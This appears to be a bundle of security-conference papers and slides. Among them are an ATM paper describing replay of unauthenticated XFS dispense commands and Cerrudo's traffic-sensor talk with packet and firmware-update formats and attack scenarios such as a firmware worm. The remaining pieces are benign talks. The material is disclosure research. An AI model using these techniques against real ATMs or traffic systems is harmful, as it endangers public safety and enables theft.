4 bytes Timestamp 4 bytes XFS command Command-dependent XFS command data Table 4: XFS IPC Packet Structure As an example, consider the action of setting the cash dispenser lights to flash quickly. Using the SIU specification [16] as a guide, the XFS command field would be set to WFS_CMD_SIU_SET_GUIDLIGHT, and the command-dependent data would be populated by filling in the corresponding structure, WFSSIUSETGUIDLIGHT. The values (WFS_SIU_NOTESDISPENSER) and (WFS_SIU_QUICK_FLASH) would be used to indicate that the cash dispenser should now be set to flash quickly. The values and structures referenced are reproduced in Listing 3. Using the knowledge of the packet structure, and with a dump of all messages sent over the IPC sockets ob- tained via JTAG, it is possible to find messages with commands of interest (for example, cash dispensing via WFS_CMD_CDM_DISPENSE), fix up the timeout and times- tamp fields of the packet, and replay it to trigger the action. #define WFS_SERVICE_CLASS_SIU (8) #define SIU_SERVICE_OFFSET (WFS_SERVICE_CLASS_SIU * 100) #define WFS_CMD_SIU_SET_GUIDLIGHT (SIU_SERVICE_OFFSET + 6) typedef struct _wfs_siu_set_guidlight { WORD wGuidLight; WORD fwCommand; } WFSSIUSETGUIDLIGHT, *LPWFSSIUSETGUIDLIGHT; #define WFS_SIU_NOTESDISPENSER (2) #define WFS_SIU_QUICK_FLASH (0x0010) Listing 3: Referenced SIU definitions as they appear in the latest CEN/XFS standard [16] D. XFS Attack Implications This attack enables the ability to perform command in- jection over the XFS message sockets, which are visible to any device on the same local network. While this does not necessarily lead to arbitrary code execution, it does expose a large surface area over a network in the form of the unauthenticated XFS API, which has commands that are of immediate interest to an attacker (such as dispensing cash). V. CONCLUSIONS Despite the tough physical exterior, the ATM referenced in this paper readily gave way to two network-accessible attacks: one pre-authentication buffer overflow allowing for arbitrary code execution (and persistence) with user interaction, and one unauthenticated XFS command injection. Although only one commonly found ATM is the subject of this paper, the problems found here are likely not unique. A high monetary barrier to entry to perform legal penetration testing on these devices remains one of their most compelling defenses. ACKNOWLEDGMENT We would like to thank Red Balloon Security for providing us the resources to investigate and reverse engineer the ATM. We would also like to thank Nautilus Hyosung for being proactive in the vulnerability disclosure process and responsive in developing a fix. REFERENCES [1] HALO II - Hyosung America. Hyosung America. [Online]. Available: https://hyosungamericas.com/atms/halo-ii/ [2] Happy save banking corporation and laundry ser- vice. Red Balloon Security. [Online]. Available: http://happysavebankingcorporation.com/index.html [3] “Triton terminal and communication protocol,” Triton. [Online]. Available: https://www.completeatmservices.com.au/assets/files/triton- comms-msg%20format-pec 5.22.pdf [4] Joe Grand. Jtagulator — grand idea studio. Grand Idea Studio. [Online]. Available: http://www.grandideastudio.com/jtagulator/ [5] Software updates — atm parts pro. ATM Parts Pro. [Online]. Available: https://www.atmpartspro.com/software [6] Terminal management - hyosung america. Hyosung America. [Online]. Available: https://hyosungamericas.com/softwares/terminal- management/ [7] Barnaby Jack, “IOActive Security Advisory - Authentication Bypass In Tranax Remote Management Software.” [Online]. Avail- able: https://ioactive.com/wp-content/uploads/2018/05/Tranax Mgmt Software Authentication Bypass.pdf [8] Cen/xfs. Wikipedia. [Online]. Available: https://en.wikipedia.org/wiki/CEN/XFS#XFS middleware 4 [9] Extensions for financial services (xfs) interface specification release 3.30 - part 1: Application programming interface (api) -service provider interface (spi) - programmer’s reference. European Committee for Standardization. [Online]. Available: ftp://ftp.cen.eu/CWA/CEN/WS- XFS/CWA16926/CWA%2016926-1.pdf [10] Extensions for financial services (xfs) interface specification release 3.30 - part 10: Sensors and indicators unit device class interface - programmer’s reference. European Committee for Stan- dardization. [Online]. Available: ftp://ftp.cenorm.be/CWA/CEN/WS- XFS/CWA16926/CWA%2016926-4.pdf [11] Meet greendispenser: A new breed of atm malware. Proofpoint. [Online]. Available: https://www.proofpoint.com/us/threat- insight/post/Meet-GreenDispenser [12] Ripper atm malware and the 12 million baht jackpot. FireEye. [Online]. Available: https://www.fireeye.com/blog/threat- research/2016/08/ripper atm malwarea.html [13] A study on ipc options on wince and win- dows. Few of my technology ideas. [Online]. Avail- able: https://blogs.technet.microsoft.com/vanih/2006/05/01/a-study-on- ipc-options-on-wince-and-windows/ [14] How to capture network traffic on windows em- bedded ce 6.0. Windows Developer 101. [Online]. Available: https://blogs.msdn.microsoft.com/dswl/2010/03/02/how-to- capture-network-traffic-on-windows-embedded-ce-6-0/ [15] Winsock functions. Windows Dev Center. [Online]. Available: https://docs.microsoft.com/en-us/windows/win32/winsock/winsock- functions [16] Extensions for financial services (xfs) interface specification release 3.30 - part 10: Sensors and indicators unit device class interface - programmer’s reference. European Committee for Stan- dardization. [Online]. Available: ftp://ftp.cenorm.be/CWA/CEN/WS- XFS/CWA16926/CWA%2016926-10.pdf 5
pdf
1 Hacking US Traffic Control Systems Cesar Cerrudo @cesarcer CTO at IOActive Labs About me Hacker, vulnerability researcher, created novel exploitation techniques, dozens of vulnerabilities found (MS Windows, SQL Server, Oracle, etc.). Developed, sold exploits and 0day vulnerabilities (7-10 years ago) Run research and hacking teams, etc. CEO of software company CTO at IOActive labs Live in small city in third world country, far away from everything but I can hack US traffic control systems 2 Thanks Barnaby Jack Ruben Santamarta Mike Davis Mike Milvich Susan Wheeller Ian Amit Robert Erbes 3 How all started Researching different wireless devices used by traffic control systems found news that London was going to implement wireless devices for traffic detection After some research found the devices vendor name Vendor ended up being interesting target, widely deployed +250 customers in 45 US States and 10 countries 500,000+ Wireless sensors deployed worldwide, most of them on the US Countries include US, United Kingdom, China, Canada, Australia, France, etc. After reading available documentation I had strong feeling the devices were insecure 4 How all started Getting the devices Social engineered vendor Ship them to Puerto Rico and traveled with them back and forth to the US from Argentina several times without any problems 5 The devices: Wireless Sensors Installs in small hole using hammer or core drill in less than 10 minutes Rugged mechanical design, 10 years of battery life TI CC2430 RF transceiver IEEE 802.15.4 system-on-chip 2.4-GHz TI MSP430 MCU (microcontroller) 16-bit RISC CPU , i386 Linux (probably TinyOS RTOS) The devices: Wireless Sensors The devices: Access Point Processes, stores, and/or relays sensor data (uCLinux) 66 MHz 5272 Coldfire processor, 4 MB of flash memory, and 16 MB of DRAM. Contact closure to traffic controller, IP (fiber or cellular) to central servers, PoE Supports as many sensors as necessary, Can serve as IP router for peripherals (video cams, etc.) The devices: Repeater Battery-powered unit Supports up to 10 wireless sensors Relays detection data back to access point, extending range The devices: Radio Ranges How they work 11 Software Windows software to manage and configure access points, repeaters and sensors decompile It connects directly to AP and uses it to send commands to sensors and repeaters Server software used to get all information from APs and then send them to Traffic control systems place in the world 12 Vulnerabilities No encryption, all wireless communication in clear text. Vendor claims: radio transmissions never carry commands; only data is transmitted. Therefore, while RF communications may be subject to local interference, there is no opportunity to embed malicious instructions to a network device or upstream traffic system removed early in the product's life cycle based on customer feedback. There was nothing broken on the system as we did not intend the over the air information to be protected. 13 Vulnerabilities No authentication Sensors and repeaters can be accessed and manipulated over the air by anyone, including firmware updates Firmware updates not encrypted nor signed Anyone can modify a firmware and get it updated on sensors and repeaters Vendor claims: 14 Protocol IEEE 802.15.4 PHY, used by ZigBee and other wireless systems Data rate of 250 kbps, 16 frequency channels in the 2.4 GHz ISM band Sensys NanoPower (SNP) protocol On top of 802.15.4 PHY as Media Access Protocol (MAC) The MAC layer is TDMA based and uses headers very similar to IEEE 802.15.4 MAC layer. 15 Protocol Sensors stay awake for the minimum amount of time and prevents any packet collisions in the network. While sensors will listen and transmit at specific time slot, access point can get and process sensor packets at any time Sensors will transmit every 30 seconds if no detection (depends configuration) Access point acknowledges reception; each sensor re-transmits data (4-5 times then sleeps) if unacknowledged 16 Protocol Packet structure: 80 80 55 AA BB 55 55 55 55 55 55 [frame header (2 bytes)] + [sequence # (1 byte)] + [address (2 bytes)] + [data] Frame header is used to specify the type of packet Sequence # from sensor packets is used by AP to acknowledge them Address is used to identify sensors by the AP and 2nd byte in Data can be 4 bytes to 50 bytes long, first 2 bytes is data type Sensor data: mode, version, battery level, detection (presence or not of traffic), etc. AP data: Commands, synchronization, sensor and repeater firmware updates, etc. 17 Protocol Sample packets 80 41 69 CA B6 65 00 FF 7F -> sensor to AP, no detection event, count mode 80 41 67 CA B6 65 00 CE E7 -> sensor to AP, detection event, count mode 80 41 C0 CA B6 02 00 4C 00 03 00 03 BA 00 00 00 00 65 00 00 00 00 02 CA B6 FF 00 -> sensor to AP, sensor info 80 80 89 F0 FF 01 00 07 1E 40 07 C0 01 1A 00 00 00 00 00 00 40 40 20 01 00 ->AP to sensor 18 Protocol Firmware file, ldrect proprietary format l0012AF10DADAAAE1E60C5A00006A0200301330136C19021B3013A461D0303013301342 l0088AF10DADAAA6FC60D5A00006A0200308930896C8F02913089A4D7D0A63089308937 l2012301330133013301330131C1700130012030003004C00FFFFFFFFFFFFFFFFFFFFDF l2088308930893089308930891C8D00890088030003004C00FFFFFFFFFFFFFFFFFFFFB9 Firmware update packet 80 00 45 F0 F4 D2 00 00 12 AF 10 DA DA AA E1 E6 0C 5A 00 00 6A 02 00 30 13 30 13 6C 19 02 1B 30 13 A4 61 D0 30 30 13 30 13 AP firmware broadcast, data part except first two bytes is a exact line from firmware file without the checksum byte 19 The tools TI CC2531 USB dongle for IEEE 802.15.4 sniffing TI SmartRF05 evaluation board TI SmartRF Studio 7 TI SmartRF Packet Sniffer IEEE 802.15.4 IAR Embedded Workbench IDE 20 Attack impact +50,000 sensors and ? repeaters worldwide that could be compromised Traffic jams at intersections, at ramps and freeways Rest in green (exceeds max. green time), Red rest (all red until detection), flashing, wrong speed limit display, etc. Accidents, even deadly ones by cars crash or by traffic blocking ambulances, fire fighters, police cars, etc. US DOT Federal Highway Administration (Traffic Detector Handbook): 21 Onsite passive testing Made AP portable USB powered instead of PoE with USB battery charger WiFi portable router battery powered, connect notebook to AP by WiFi Put AP in my backpack and went to Seattle, NY and Washington DC Took out notebook and start sniffing around in the sidewalk while pointing my backpack in the right directions Saw some spooks at DC but got no problems Video 22 The Attacks DoS By disabling sensors/repeaters by changing configuration or firmware By making sensors/repeaters temporary (maybe permanently) unusable by changing firmware By flooding AP with fake packets Fake traffic detection data Send lots of car detections when there is no traffic (intersections, ramp meters and highways, etc.) Send no detection on stop bar at exit ramps Disable sensors/repeaters and send no detection data when there is a lot of traffic 23 The Attacks Deployments easy to locate Vendor and partners PR, presentations, etc. (See DC sample) Cities traffic department documents, news, etc. Cities approved vendors, RFP, documents, etc. Google Street View Need to be a maximum 1000 feet away from devices Attacker onsite - Demo Attaching attack device with GPS to buses, taxis, cars, etc. Attacking from the sky: drones (drones on demand?) - Demo 24 The Attacks Sensor malicious firmware update worm Just need to compromise one sensor with malicious firmware and it can replicate later on other sensors Impossible to know if there are already compromised sensors since firmware version is returned by firmware itself NSA/Gov/Special forces/terrorist/etc. style attacks Locate persons in real time, hack Smartphone, launch attack Use sensor car identification data to trigger bomb when car target is near, no need to track car, just sniff sensor wireless packet (Cadillac One fingerprint?) 25 Conclusions Any third world guy can easily get devices used by US critical infrastructure, hack them and then attack the US Anyone can build a $100 worth device to cause traffic problems on most important cities on US (some other world cities too) Smart cities are not so smart when data that feeds them is blindly trusted and can be easily manipulated Cyberwar is cheap 26 27 Fin 28 attack power. We need to focus more on ideas, on innovation, trying to do things in different ways as Questions? Gracias. E-mail: [email protected] twitter: @cesarcer
pdf
Ode to the DEFCON 15 Badge Joe Grand (Kingpin) 170 hours of total time spent 2 nights of my honeymoon (oh, how I lament!) 3 circuit board revisions to get it all right 863,600 total components bring them to light 6,800 hackers wearing the badge in all its glory If you want to learn more, please read this fine story A matrix of 95 LEDs (5 columns by 19 row) Two coin cell batteries make the current flow Six text cutouts and soldermask colors to show If you're a human, speaker, goon, vendor, press, or uber bro On power up the badge will not make a peep But fear not, that's by design, it is only asleep Touch the top icon (it's a button, really) And get a scrolling text message intended for thee Touch the top icon yet again (just trust me) And you'll move to the next mode for custom text message entry Hit the bottom icon to begin your noble quest Then use either icon to cycle through the list Tap both icons to save a character to your queue 16 letters long is the maximum we can do When you're all done, seek out the solid block Tap both icons again and on the screen your message will walk The next mode sets the speed of your inscription You can change it like a baud rate or a doctor's drug prescription Select the scroll velocity between the numbers 1 and 5 Which goes from slow and boring to a thrilling autobahn drive (Remember to tap both icons for the badge to come alive) Next we arrive at our last badge state (finally) A special treat known as persistence-of-vision or POV Wave the badge in front of your eyes in one direction And a secret message appears magically like the morning's first erection If all you see is a jumbled mess of bright lights Try hiding in the darkness, squinting your eyes, or changing those hard-coded bytes (When your badge is not in use, set the mode back to snooze) The source code is open and the schematics are free (as in beer) So now you can be a hardware hacking engineer Unpopulated footprints for a wireless transceiver and accelerometer If you don't like how the badge acts, then hack it and make it better (You might even win some development tools, a T-shirt, or a scarlet letter) For the blood, sweat, and tears behind the scenes of the DEFCON badge Come to my talk on Friday morning, it’s sort of like the hajj (ok, not really) Business in front, party in back (yeah, that's a mullet) I’m Joe Grand aka Kingpin from the L0pht, a hacker not a poet --- This year’s badge is based around a Freescale MC9S08QG8 microcontroller and contains a matrix of 95 surface-mount LEDs (5 columns by 19 rows) to allow user-customizable scrolling text messages. It requires two CR2032 3V Lithium coin-cell batteries. Optional circuitry (fully designed, but unpopulated on the final badge circuit board) supports a Freescale MMA7260QT Triple-Axis Accelerometer for motion-control applications and MC13191FC 2.4GHz RF Transceiver for 802.15.4 or ZigBee applications. It’s completely hackable. Wear it, use it, modify it, break it, learn from it. Complete source code and schematics are on the DEFCON CD and also available at: http://www.grandideastudio.com The software development environment, Codewarrior Development Studio for HC(S)08 Microcontrollers, is available for free (up to 16KB) from: http://www.freescale.com/codewarrior Hardware debugging can be done with the SPYDER08 module (http://www.freescale.com/webapp/sps/site/prod_summary.jsp?code=USBSPYDER08) or P&E Micro HCS08 MultiLink USB-ML-12 (http://www.pemicro.com/products/product_viewDetails.cfm?product_id=33) The top three most obscure, obscene, mischievous, or interestingly hacked badges will be recognized and awarded at the DEFCON Award Ceremonies on Sunday. Yes, it’s purely subjective and I’m the judge. We’ll have a table set up in the vendor area with a soldering iron, tools, and extra components for your hardware hacking pleasure, a development station set up for your firmware hacking pleasure, some folks from Freescale and e-Teknet for your engineering support and social interaction pleasure, and some t- shirts for your styling pleasure. See you there. Kingpin ---
pdf
HITCON PACIFIC 2017 ICS/SCADA Cybersecurity and IT Cybersecurity: Comparing Apples and Oranges Presented by David Ong | CEO of Attila Cybertech 8 December 2017 2 2 “… But there are also unknown unknowns. There are things we don’t know we don’t know.” Donald Rumsfeld, former Secretary of Defence Quote by Donald Rumsfeld 3 David Ong, Entrepreneur and Founder of Excel Marco Group, a successful Industrial Automation Integrator and Attila Cybertech, a Operational Technology (OT) cyber security firm. With over 20 years of professional experience and is widely recognized as an active professional in process automation safety industries. Biography About Attila Cybertech • Cyber Security in Operational Technology (OT) • Data Analytics for Plant and Factory Optimization • OT and IT Integration for the Critical Information Infrastructure Sectors (CII) To be a leader in creating resilient Cyber Ecosystem “ that is safe and transformational for humanity ” To help create Cyber-Resilience Critical Information Infrastructure (CII) and to inspire Data Analytics application using Artificial Intelligence “ ” VISION MISSION 3 • Terminology • Types of ICS • The Need to Secure ICS • IT-OT Convergence • Challenges in IT-OT Convergence • Standards & Best Practices for ICS • ICS Cyber Security Assessment • Cyber Security Assessment & Tool • ICS Security Architecture • Industrial Protocols • Security Application for ICS • Q & A 4 VS IT OT ICS/SCADA Cyber security and IT Cybersecurity Comparing Apples and Oranges OT is hardware and software that detects or causes a change through the direct monitoring and/or control of physical devices, processes and events in the enterprise. (Gartner) OT is a category of hardware and software that monitors and controls how physical devices perform. (SearchData.com) OT is the hardware and software dedicated to detecting or causing changes in physical processes through direct monitoring and/or control of physical devices such as valves, pumps, etc. (Wikipedia) 5 What is Operational Technology? OT Industrial Control System (ICS) is a term used to encompass the many applications and uses of industrial and facility control and automation systems. ISA-99/IEC 62443 is using Industrial Automation and Control Systems (ISA-62443.01.01) with one proposed definition being “a collection of personnel, hardware, and software that can affect or influence the safe, secure, and reliable operation of an industrial process.” (SANS) Industrial control system (ICS) is a general term that encompasses several types of control systems, including SCADA systems, DCS, and other control system configurations such as PLC often found in the industrial sectors and critical infrastructures. (NIST) Industrial Control System (ICS)? 6 4.0 Industry • Electrical & nuclear plants • Waste water treatment plants • Oil & natural gas • Transportation • Air traffic control • Manufacturing • Food & beverage • Etc. Industrial Processes using ICS 7 • BAS: Building Automation Systems • DCS: Distributed Control Systems • SCADA: Supervisory Control and Data Acquisition • HMI: Human-Machine Interface • SIS: Safety Instrumented Systems • PLC: Programmable Logic Controllers • RTU: Remote Terminal Units • IED: Intelligent Electronic Devices Types of ICS 8 Possible consequences of security incidents: • Risk of death and serious injury • Loss of production • Environmental impact • Manipulation or loss of data (records) • Damage to company image / reputation • Financial loss The need to secure ICS 9 • Historically, IT and OT have had fairly separate roles and were managed separately within an organization • ICS were traditionally developed using specialized hardware and proprietary software • Deployed as standalone platforms using vendor proprietary communication protocols to communicate with similar systems IT-OT Convergence 10 • Reduce manufacturing and operational costs. • Increase productivity. • Provide access to real-time information. • Utilize modern networking systems to interconnect ICS with business and external networks. • ICS vendors also switched to using commercial-off- the-shelf equipment and software to build their systems IT-OT Convergence 11 • Integration of technology such as Windows OS, SQL, and Ethernet means that ICS are now vulnerable to the same viruses, worms and trojans that affect IT systems. • Enterprise Integration of legacy ICS means they are vulnerable to attacks which they were not designed for. • Not all IT security solutions are suitable for ICSs because of fundamental differences between ICS and IT systems. Challenges in IT-OT Convergence 12 OS Ethernet ICS security goal: AIC (Availability, Integrity, Confidentiality) • Operational availability means it is very difficult and costly to interrupt these systems for security updates • ICS lifecycle is usually 10 to 20 years and are typically not built with security in mind. • Firmware and software are not replaced for a long time, patches are rarely applied, and network devices can be disrupted by malformed network traffic or even high volumes of well-formed traffic. Challenges in IT-OT Convergence 13 ICS Lifecycle • ICS patching requires testing, approval, scheduling, and validation to ensure safe and repeatable control. • All updates, including patches and virus definition files, have to be thoroughly tested with the ICS before being approved for installation. • ICS often include safety instrumented system (SIS) Challenges in IT-OT Convergence 14 • Most ICS are supported by outside vendors, and are deployed with default configuration settings. • Demand for 24/7 remote access for engineering, operations or technical support means more insecure or rogue connections to ICS. • Manuals on ICS equipment are publicly available to both would-be attackers and legitimate users. Challenges in IT-OT Convergence 15 Standards and Best Practices for ICS 16 Standards and Best Practices for ICS 17 • American Petroleum Institute (API): API- 1164 - Pipeline SCADA Security, 2nd ed. • National ICS Security Standard (Qatar), v3, Mar 2014 • Australian Signals Directorate (ASD): Strategies to Mitigate Cyber Security Incidents – Mitigation Details, Feb 2017 (Note: It claims implementing the Top 4 can mitigate over 85% of intrusions) Industrial Cyber Security Assessment 18 • In any security policy implementation, risk and security assessments are the starting point • Security assessments analyse your current state, from technologies to policies, procedures to behaviour • It offers a realistic picture of your security posture (current risk state) and what it will take (mitigation techniques) to get to where you need to be (acceptable risk state) Cyber Security Assessment & Tools 19 • NIST “Framework for Improving Critical Infrastructure Cybersecurity” • The Framework is voluntary guidance, based on existing standards, guidelines, and practices, for critical infrastructure organizations to better manage and reduce cybersecurity risk • It identifies five essential program activities: Identify, Protect, Detect, Respond, Recover. Cyber Security Assessment & Tools 20 • Cyber Security Evaluation Tool (CSET) from ICS-CERT (of DHS) • A free desktop software tool that asks the users a series of questions to evaluate their ICS and IT network security practices based on recognized industry standards System Controls in ICS 21 • Defense-in-depth approach: Employs multiple layers of defense (physical, procedural and electronic) at separate levels. The layers are: • Policies, Procedures and Awareness • Physical Security • Network Security • Computer Hardening • Application Security • Device Hardening Defense-in-depth Resilience Attack Surface Tolerable Risk Medium Risk High Risk Impact / Severity Exploitation likelihood ICS Security Architecture 22 • Purdue Model for Control Hierarchy logical framework • Uses the concept of zones to subdivide an Enterprise and ICS network into logical segments comprising of systems performing similar functions Enterprise Zone Level 5: Enterprise Level 4: Site Business Planning and Logistics Manufacturing Zone Level 3: Site Manufacturing Operations and Control Cell / Area Zone Level 2: Area Supervisory Control Level 1: Basic Control Level 0: Process Safety Zone DMZ Network Security 23 Protects the availability, integrity and confidentiality of systems against internal and external threats using a variety of security controls • Network Segmentation or Zoning • Industrial Firewalls • Cater to different OPC Ports • Network Intrusion Detection and Protection Systems (IPS, IDS) Industrial Protocol 24 PROCESS INDUSTRIAL CONTROL PROFINET, CIP (Common Industrial Protocol), EtherNet/IP, HART (Highway Addressable Remote Transducer), Modbus PROTOCOLS INDUSTRIAL OPC (OLE for Process Control) BUILDING BACnet POWER DNP3 (Distributed Network Protocol) IEC 61850 AUTOMOBILE CAN Bus (Controller Area Network) Security Application for ICS in the making 25 • Intrusion Detection System (IDS) • Anomaly-based Detection • Must teach system to identify “normal” network traffic • Detects deviations from normal behaviour • More difficult to spoof • Needs no foreknowledge of attack signatures • May raise more false positives • Very hard to implement in a dynamic environment • Machine learning increasingly being used to form the baseline of “normal” network traffic Security Application for ICS 26 • Industrial Firewall • 3eTI CyberFence Family • WurldTech OpShield • Tofino Xenon • Phoenix Contact mGuard Series • Moxa EDR Series May have Deep Packet Inspection (DPI) for various industrial protocols • Data Diodes • Waterfall Security • Fox-IT • Nexor • Vado • ICS Anomaly Detection • SecurityMatters • Claroty • Darktrace • Dragos Benefits of DPI for OT 27 • Enhanced visibility of device interactions – far beyond traditional firewalls (ex: data flow, commands, values etc.) • Enforced rules on commands & values consistent with the rules of the process • Option to lock down unused functionality (commands/registers) • Detect/protect configuration/firmware changes to ICS endpoints • Validation of messages per protocol standards • Limitation of messages and commands to un-safe operational scenarios • Limits impact of potential human error • Passive implementation that reduces risk of interrupting existing system • A holistic baseline of interconnected systems for application whitelisting Summary 28 • Cybersecurity needs to be an integral part of the IT/OT convergence. • IT and OT were supported and managed separately. IT was traditionally associated with business/enterprise systems while OT was associated with field devices and systems for monitoring and control. • Need to understand IT security may not apply correctly to OT cybersecurity. • Legacy in technology is one of the many challenges faced where OT devices have virtually no security capabilities as compared to an IT device. • Not such thing as 100% secure. It’s all about: • Risk reduction – reduction attack surface, reduce exploitation likelihood. • Impact Mitigation – eliminate or reduce impact that cause loss of lives, equipment damage, environmental impact. • Have a back-up operational mode Be Resilience Beyond Defense! Presenter Information Presenter Name : David Ong Company : Attila Cybertech Pte. Ltd. Email : [email protected] Website : www.attilatech.com Contact Information 29 Спасибо благодаря Dankeschoen Dank U wel Gracias Shukran Merci Terima Kasih (Kam-sa-ham-ni-da) ありがとう! (Arigatou Gozaimasu) 谢谢! Cám ơn Khob Khun Obrigado 30 Thank You Visit us at www.attilatech.com
pdf
THIEMEWORKS WORLD TOUR 21 YEARS OF MISCHIEF AND MAYHEM Chicago New York San Francisco Seattle San Diego Boston Miami Orlando San Antonio Dallas Austin Houston New Orleans Baton Rouge Biloxi Los Alamos Atlanta Minneapolis Phoenix Denver Sun Valley Kansas City Detroit Des Moines St. Louis Las Vegas Lake Tahoe Reno Washington DC Fort Meade Sydney Brisbane Melbourne Canberra Auckland Wellington London Liverpool Amsterdam Berlin Heidelberg Warsaw Wodz Poland Victoria BC Montreal Calgary Ottawa Johannesburg Dubai Eilat/Tel Aviv Kuala Lumpur And Milwaukee WI Madison WI Green Bay WI Eau Claire WI La Crosse WI Sheboygan WI Racine WI Kenosha WI Waukesha WI Beloit WI Whitewater WI Port Washington WI Mequon WI Shorewood WI Whitefish Bay WI Brookfield WI Wauwatosa WI Clintonville WI Green Lake WI Ripon WI Grafton WI Random Lake WI Butler WI New Berlin WI St. Francis WI Burlington WI West Bend WI Waterford WI Delafield WI Muskego WI Elm Grove WI Pewaukee WI etc.
pdf
美团 APT检测设备的扩展研究 演讲人:朱学文(Ju Zhu) 2019 团队介绍 朱学文(Ju Zhu) 美团/高级安全研究员 9+年的安全研究经验 7+年主要从事高级威胁的研究,包括0Day、nDay和漏洞挖掘 一直致力于使用自动化系统来Hunt野外的高级威胁 多次获得CVE,且受到Google、Apple、Facebook等厂商的致谢 多次作为Speaker受邀参加BlackHat、CodeBlue、CSS等国内外的顶级安全会议 郭梦圆(Mabel Guo) 上海交通大学/美团实习安全研究员 上海交通大学在读硕士 研究生阶段致力于视频隐写/隐写分析研究 擅长iOS逆向以及虚拟化技术 PART 01 设备选型对比 目录 CONTENTS PART 02 解决方案对比 PART 03 iOS动态沙箱 PART 04 一些实践 01 02 03 04 PART 01 业界主流APT检测设备的选型对比 业界主流APT检测设备的选型对比 概述 平台支持性 文件类型支持性 内网接入设备类型统计 BYOD(Bring Your Own Device) 业界主流APT检测设备的选型对比 平台支持性 Windows MacOS iOS Android 其它 厂商1 ✔ ✘ ✘ ✘ ✘ 厂商2 ✔ ✘ ✘ ✘ ✘ 厂商3 ✔ ✘ ✘ ✔ ✘ Win7、Win10、。。。 32位、64位 自定义导入 业界主流APT检测设备的选型对比 文件类型支持性 PE Office PDF Mach-O plist APK 厂商1 ✔ ✔ ✔ ✘ ✘ ✘ 厂商2 ✔ ✔ ✘ ✘ ✘ ✘ 厂商3 ✔ ✔ ✘ ✔ ✘ ✔ Mach-O <- 静态分析 plist:iOS Ransomware(Death Profile) PART 02 可参考的解决方案对比 可参考的解决方案对比 动态沙箱技术解决方案对比 MacOS iOS、Android 动态沙箱技术解决方案对比 MacOS iOS Android 可参考的动态沙箱 Darling 或 Cuckoo Sandbox Corellium Anbox 或 Cuckoo Droid 使用方式(云或本地) 本地 云 本地 开源? 是 否 是 实现成本 中 极高 中 MacOS 阶梯式部署 Darling--大部分指标 Cuckoo Sandbox--剩下少部分 PART 03 iOS动态沙箱(蜜罐) iOS动态沙箱(蜜罐) 总体架构流程 轻量级虚拟化设计 实现、部署 总体架构流程 针对Mach-O 考虑攻击面(影响面) 总体架构流程 针对plist 类似Death Profile的攻击 轻量级虚拟化设计 API重定向 Loader & Run Mach-O Foundation 。。。 libobjc.so libxml2.so libdispatch.so 。。。 libc.so libc++abi.so libc++.so 。。。 Qemu(Arm v7) Docker(Aarch 64) Linux(Aarch 64) Hardware(Aarch 64) 轻量级虚拟化设计 简单运行效果 Segment数据映射到虚拟内存 slide + text_vm_addr TEXT DATA LLVM LINKEDIT 。。。 Loader & Run VM Protection值 -> 虚拟内存VMP属性 导入相关依赖库 模拟实现 (比如Foundation.framework) 运行 找到入口地址(比如main函数) Load Commands--LC_MAIN 绝对地址 = 入口地址 + slide + text_vm_addr 地址(Rebase数据)修正 Lazy Symbol Pointer、CFString 原数据(Pointer) 新数据(Pointer) Lazy Symbol Pointer 0x100007F9C -> slide + 0x100007F9C CFString 0x100007FA8 -> slide + 0x100007FA8 地址(API)重定向 Lazy Symbol Pointer数据 <- 模拟实现函数地址 原地址 新地址 NSLog slide + 0x100007F9C -> NSLog@libFoundatio n.so API重定向流程 完整运行流程 回调流程 部署 更好适配 ODM(Original Design Manufacturer) PART 04 一些实践 谢谢观看 演讲人:朱学文(Ju Zhu)
pdf
Mamma’s  Don’t  Let  Your  Babies Grow  Up  to  Be  Pen  Testers: Everything  Your  Guidance  Counselor Forgot  To  Tell  You  About  Pen  TesEng Who  are  we? •  “2  dudes  by  a  trash  can” – Dr.  Patrick  Engebretson •  Network  Sec  wonk – Dr.  Josh  Pauli •  Web  Sec  wonk •  So  you  want  to  be  a  pen  tester? Issue  1:  Your  expectaEons Hacking  like  the  movies!!!! •  Chicks  dig  hackers •  MS  Windows  rulz •  GUI  >  command  line •  Become  a  PT,  earn  millions. Issue  2:  Reality. •  Most  chicks  don’t  really  care  if  you’re  leet. •  Linux  rulz. •  Command  line  >  GUI •  “There  is  no  money  tree” Issue  3:  Budgets •  “What  does  a  budget  have  to  do  with  a  Pen  Test?” •  “You  can  have  anything  you  want…as  long  as  it’s free” Issue  4:  The  PT  authorizaEon  form should  NOT  give  away  the  farm. •  “This  job  is  like  fighEng  Mike Tyson*  with  a  pillow” •  “What  do  you  mean  we’re going  to  tell  them  we’re coming?” *  Tyson  circa  1988 Issue  5:  InformaEon  Gathering  is important. •  “Yes  we  encourage  you  to  do  informaEon gathering…it  just  has  to  be  done  in  10  minutes  or less”. Issue  6:  You  must  follow  the  rules  of engagement •  “What  does  scope  have  to  do  with  anything? •  a.k.a.  “you  mean  to  tell  me  that  that  box  is  ripe  with exploits  and  can  give  me  root  access  to  my  target  but  I’m not  allowed  to  afack  it?” Issue  7:  Fat  fingers •  The  dangers  of  having  chubby  lifle  hands… “Circus  folk.  Nomads,  you  know.  Small  hands.  Smell  like cabbage.”  ~  AusEn  Powers Issue  8:  UnrealisEc  deadlines •  “You  mean  I’m  supposed  to  perform  a  Pen Test  on  2,000  ip’s  in  16  hours?” Issue  9:  UnrealisEc  client  expectaEons •  “The  sales  men  told  you  WHAT?” – “you  know  it’s  not  REALLY  possible  to  thoroughly scan  200  URLs  in  the  next  20  minutes  right?” Issue  10:  Relying  on  “other  peoples” work… •  Using  un-­‐audited  exploits – “What  do  you  mean  I  gave  away  shells?” Issue  11:  Relying  on  YOUR  OWN work… •  “What  do  you  mean  I  got  our  IP  banned  from Whois?” Issue  12:  Keeping  your  data  secure •  “What  do  you  mean  you  sold  the  old  PT machines  on  eBay???” Issue  13:  When  your  success  means someone  else  failed. •  “What  do  you  mean  the  Sys  Admin  is  mad  at me  for  embarrassing  him  in  front  of  his  boss?” Issue  14:  Someone  has  to  write  up  all those  findings. •  You  mean  I  have  to  write  a  REPORT  on  all  this stuff?  Can’t  we  just  do  a  conference  call? Issue  15:  Things  Change.  (aka “Scanned  today  Hacked  Tomorrow”) •  You’re  PT  is  just  a  snapshot  in  Eme What  does  it  all  mean??? •  Yep  it’s  sEll  the  best  job  on  earth
pdf
I Hunt Penetration Testers! More Weaknesses in Tools and Procedures Wesley McGrew, Ph.D. Distributed Analytics and Security Institute Mississippi State University http://mcgrewsecurity.com @mcgrewsecurity [email protected] Introduction • Wesley McGrew • Distributed Analytics & 
 Security Institute, 
 Mississippi State 
 University • Halberd Group • Vulnerabilities, Reverse Engineering, 
